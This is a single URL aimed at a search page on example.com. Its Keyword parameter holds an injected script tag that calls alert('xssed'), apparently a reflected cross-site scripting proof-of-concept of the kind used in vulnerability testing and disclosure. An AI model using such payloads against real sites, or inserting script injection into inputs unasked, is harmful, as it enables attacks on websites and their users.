http://www.example.com/default.asp?Action=Search&Keyword=<script>alert("xssed")</script>